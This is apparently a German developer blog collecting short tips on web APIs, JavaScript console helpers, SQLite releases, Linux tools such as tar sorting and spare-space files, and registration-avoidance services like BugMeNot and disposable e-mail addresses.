Bei bugmenot.com findet man Login-Credentials zu Webseiten, die einen zum Login zwingen. Erstellt werden die Accounts von (wütenden?) Individuen.
In Firefox könnt Ihr auf dem Suchfeld einfach einen Rechtsklick -> “Add a keyword for this search…” machen. Ich habe das Keyword bug
. Wenn ich dann auf bug abc.de
gehe, werde ich dort auf die Seite mit den Credentials weitergeleitet.
Falls Ihr doch nicht drum herum kommt, eineen Account zu machen: Nehmt eine Wegwerf-Adresse. Ich meine jetzt nicht eine, die ihr noch irgendwo rumliegen habt. Viel mehr sowas wie 10minutemail, wo man eine E-Mail-Adresse bekommt, die 10 Minuten lang gültig ist, damit man den Aktivierungslink bestätigen kann.
Tragt den erstellten Account dann am Besten bei BugMeNot ein.
Für die Wegwerf-Adressen gibt es noch das Firefox-AddOn Bloody Vikings. Da kann man mit einem Rechtsklick auf ein E-Mail-Feld direkt eine Wegwerf-Adresse eintragen (die Seite mit dem Posteingang öffnet sich dann im Hintergrund). Wird leider nicht mehr so aktiv gewartet. Wer eine Alternative hat. Her damit!
Einen Language-Server kann man als Backend für Autovervollständigung und viele andere Editor-/IDE-Features verwenden. Das hat sich ursprünglich Microsoft ausgedacht, für VSCode. So muss man nicht jede Sprachintegration für jeden Editor neu bauen, sondern redet beispielsweise über JSON-RPC mit dem “intelligenten” Backend.
Keine Lust, jedes Mal die Ascii-Tabelle zu googlen?
Versucht es hiermit, hat mein Leben verändert:
man ascii
man utf8
Ein tolles Essay darüber, dass man lieber Libraries, statt Frameworks schreiben soll.
Man kann mit JS das Handy / sonstige Endgerät vibrieren lassen, über die Web Vibration API (CanIUse dazu).
Wie Emojis unter der Haube funktionieren.
Passend dazu (vielleicht sollte man das sogar noch vorher lesen): Was man über Unicode und UTF-* wissen sollte.
Für die console.log
-Debugger: In JS gibt es console.table()
, um Arrays (oder auch Objekte, wenn man will) darzustellen (MDN dazu):
console.table(["apples", "oranges", "bananas"]);
Funktionert im Browser und in Node.js. Bei Node bekommt man diese Ausgabe:
Welcome to Node.js v15.11.0.
> // Bei Arrays:
> console.table(["apples", "oranges", "bananas"]);
┌─────────┬───────────┐
│ (index) │ Values │
├─────────┼───────────┤
│ 0 │ 'apples' │
│ 1 │ 'oranges' │
│ 2 │ 'bananas' │
└─────────┴───────────┘
> // Bei Objekten:
> console.table({firstName: "Anders", lastName: "Hejlsberg"})
┌───────────┬─────────────┐
│ (index) │ Values │
├───────────┼─────────────┤
│ firstName │ 'Anders' │
│ lastName │ 'Hejlsberg' │
└───────────┴─────────────┘
// Bei Arrays von Objekten:
> console.table([{firstName: "Anders", lastName: "Hejlsberg"}, {firstName: "Guido", lastName: "van Rossum"}])
┌─────────┬───────────┬──────────────┐
│ (index) │ firstName │ lastName │
├─────────┼───────────┼──────────────┤
│ 0 │ 'Anders' │ 'Hejlsberg' │
│ 1 │ 'Guido' │ 'van Rossum' │
└─────────┴───────────┴──────────────┘
Zum Debuggen oder einfache Skriptausgabe reichts. Und bei Node.js hab ich auch schon ein NPM-Paket für Tabellen in der Konsole damit abgelöst.
schöne Übersichtsseite, bei der man sieht, was für Permissions man einer Webseite geben kann (und wo man keine braucht).
Wir hatten ja gestern HTML-Templates. Das Ganze kann man kombinieren oder ersetzen mit Web Components bzw. Custom Elements. Die Idee ist, dass man eine ES6-Klasse von HTMLElement
erben lässt und diese Klasse dann am Browser für ein bestimmtes Tag registriert.
Das ist in meinen Augen etwas umständlicher als z. B. in React, aber dafür funktioniert es ohne Frameworks. Vermutlich ist das auch ganz gut für sol
che Frameworks wie React, als Compile-Target.
Ich verlink hier nur mal MDN, statt das riesen Beispiel zu rezitieren: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements
Immer eine leere 8 GB-Datei auf dem Server haben. Die kann man löschen, wenn irgendwas vollgelaufen ist und man Speicher braucht, um das Problem zu fixen (HN dazu).
fallocate -l 8G spacer.img && sync
Bei ext3/4 werden übrigens standardmäßig 5% des Speichers reserviert. Wenn alles kaputt geht, kann man da auch noch dran drehen.
Ich bin’s wieder mit meinem SQLite. Hier ein toller Post darüber, was SQLite alles out-of-the-box mitliefert. Einige Sachen erstaunen mich dann doch etwas (z. B. nativer JSON-Support und Perzentile) (HN-Thread dazu).
HTML hat Templating über ein template
-Tag:
<template id="productrow">
<tr>
<td class="record"></td>
<td></td>
</tr>
</template>
So kann man komplexere DOM-Teile konstruieren, ohne sich in document.createElement()
und .appendChild()
zu verlieren. Beispiel aus MDN zu dem Template oben:
const template = document.querySelector('#productrow');
// Clone the new row and insert it into the table
const clone = template.content.firstElementChild.cloneNode(true /* true for deep clone */);
const tds = clone.querySelectorAll("td");
tds[0].textContent = "1235646565";
tds[1].textContent = "Stuff";
tbody.appendChild(clone);
Ist vorallem praktisch, wenn man schmal ohne irgendwelche UI-Frameworks arbeitet. Mehr auf MDN.
Hier hat jemand eine Chart-Plotting-Library gebaut, die ausschließlich mit CSS läuft.
Die Idee: Man listet seine Daten in einer <table>
. Bei manchen Diagramm-Typen braucht man noch ein paar Style-Attribute, mit denen man das Verhalten beeinflust.
Anstatt der Tabelle sieht man dann z. B. ein Balkendiagramm.
Das ist nicht nur cool, weil’s ne Alternative zu SVG-Renderings ist. Weil es ja auch nur eine gestylte Tabelle ist, hat man gleich bessere Accessability. Und man kann schnell mal einen Plot prototypen, ohne sich mit D3 oder Chart.js beschäftigen zu müssen.
Falls Ihr gerade 3 Stunden Zeit habt, einen Podcast zu hören:
Lex Fridman redet hier mit Brendan Eich.
Brendan geht auf viele Trivia der Computergeschichte ein und hat gefühlt irgendwie alles einmal gemacht. Natürlich geht es viel um JavaScript, die Visionen, die sie damals alle hatten, und viel Zeug im Hintergrund.
Man erfährt zum Beispiel auch, was ihn damals dazu gebracht hat, Type Coercion (also das nicht immer nachvollziehbare Umwandeln von Typen) in JS zu bauen. Anfangs war JS nämlich “ordentlich”.
Falls Euch Brendan Eich nichts sagt, das ist der, der JavaScript entwickelt hat und lange Zeit der CEO von Mozilla war.
Man kann in HTML den Browser einen DNS-Namen prefetchen lassen. Damit hat er den Namen schon aufgelöst, bevor man die sich dorthin verbinden will:
<link rel="dns-prefetch" href="https://api.example.com" >
Heutzutage stellen sich viele ein ganzes Cluster hin, um eine Webseite mit 0.3 Requests pro Sekunde zu betreiben. Die ganze Schiene mit K8s etc., also horizontaler Skalierung (“mehr Maschinen”) und ganz viele Micro-Services. Sowas hat auch ein paar Nachteile, wie z. B., dass der Wartungsoverhead schnell sehr hoch wird.
Vielleicht ist manchen gar nicht bewusst, wie viel man mit vertikaler Skalierung (also z. B. “mehr RAM in die Maschine”) eigentlich erreichen kann. Gerade bin ich auf ein schönes Beispiel gestoßen, das man vielleicht einigen mal zeigen sollte: StackOverflow bzw. StackExchange hat gerade mal 9 Webserver und 2 dicke Datenbankserver. Einen für StackOverflow, einen für die restlichen StackExchange-Seiten.
Da habe ich schon deutlich aufgeblähtere Stacks mit einer nicht ansatzweise vergleichbaren Last gesehen als das, was StackOverflow da fährt.
Es gibt in JS die Funktionen console.time(string?)
und console.timeEnd(string?)
für’s einfache Messen von Laufzeiten.
Beim komprimieren von tar
-Dateien kann man deutlich unterschiedliche Ergebnisse bekommen.
Offenbar ist die Reihenfolge, in der die Dateien in einer tar landen, bei GNUs und BSDs tar nicht definiert.
Wenn man jetzt Dateien hat, die ähnlicheren Inhalt aufweisen, je “näher” die Dateinamen sind, kann man mehr Kompression rausholen.
Bei GNUs tar gibt’s dafür --sort
und sorgt bei einem Nutzer hier für 15-facher besserer Kompression.
Ggf. ist es sogar sinnvoll, die Dateien umzubenennen, sodass die Extension vorne steht. So kann die Kompression die gleichen Datei-Header direkt besser komprimieren.
Aus der Serie “was, sowas gibt’s?”, heute:
Einen HTTP-Header, mit dem man dem Browser bittet, den Local-/Session-/IndexDB-Storage, die Cookies und den Cache zu löschen.
Falls Ihr mal sehen wollt, wie aufregend man x86-Instructions finden kann.
Ist generell ein toller Kanal, falls Euch Assembler interessiert.
Man entdeckt ja immer wieder Sachen in der IT, die man (bisher) nirgends gesehen hat, aber eigentlich ziemlich praktisch sind oder ein Problem auf eine andere Art lösen.
Für HTML hab ich heute:
Die Attribute ping
, hreflang
und download
beim a
-Tag.
Habe eine mehr oder weniger große Liste, die sich über die Jahre angesammelt hat. Diese werde ich in ein paar Blog-Posts umwandeln. Also nicht wundern, wenn mal eine API dabei ist, die schon etwas älter ist.
Ich bin ja ein großer Fan von SQLite. Davon kam gerade Version 3.35.0 raus.
Das ist für mich ein richtig großartiges Release. Kurzer Auszug:
- Ein paar Mathe-Funktionen
ALTER TABLE DROP COLUMN
(vorher musste man die Tabelle in eine neue kopieren)RETURNING
-Keyword für schreibende Operationen (DELETE
/INSERT
/UPDATE
), bei dem die entsprechedne Zeile zurückgegeben wird- Materialized CTEs
Bis auf die Mathe-Funktionen sind das alles Game-Changer für mich.
Es gibt 7-Zip jetzt auch als nativen Linux-Port.
Gab es 7-Zip nicht vorher auch schon für Linux?
Jetzt gibt es zwei (oder vielleicht sogar drei?).
p7zip
(POSIX-7-Zip) ist ein Port eines anderen Entwicklers, der bei 16.02 stehen blieb.
Der neue Port ist von Igor Pavlov selbst und wird dementsprechend auch gewartet (aktuell Version 21.01).
Dieses TC39-Proposal ist gerade relativ aktiv.
Es bringt immutable Types und Form von Tupeln und Records.
Bin sehr gespannt, was da rum kommt.
Bisher sieht es vielversprechend aus.
U. a. haben wir dann die Möglichkeit, Tupel und Records als Keys in einer ES-Map zu nehmen (und dann natürlich kann man sie dann auch ordentlich mit Sets verwenden).
Die JS-Engines können dann auch sicher noch besser optimieren.
Für Euer nächstes Bash-Skript:
Hier ein paar Flags, die ihr womöglich setzen wollt.
Falls Ihr ein neues C/C++-Projekt anlegt und Euch fragt, welche Compiler-Flags Ihr so gesetzt haben solltet.
Hier schreibt RedHat was darüber.
Ihr solltet natürlich schauen, dass die Flags zu Eurem Vorhaben passen.
Für Embededed-Software gibt’s hier auch einen Eintrag.
Wer noch andere kennt oder Verbesserungen hat, her damit!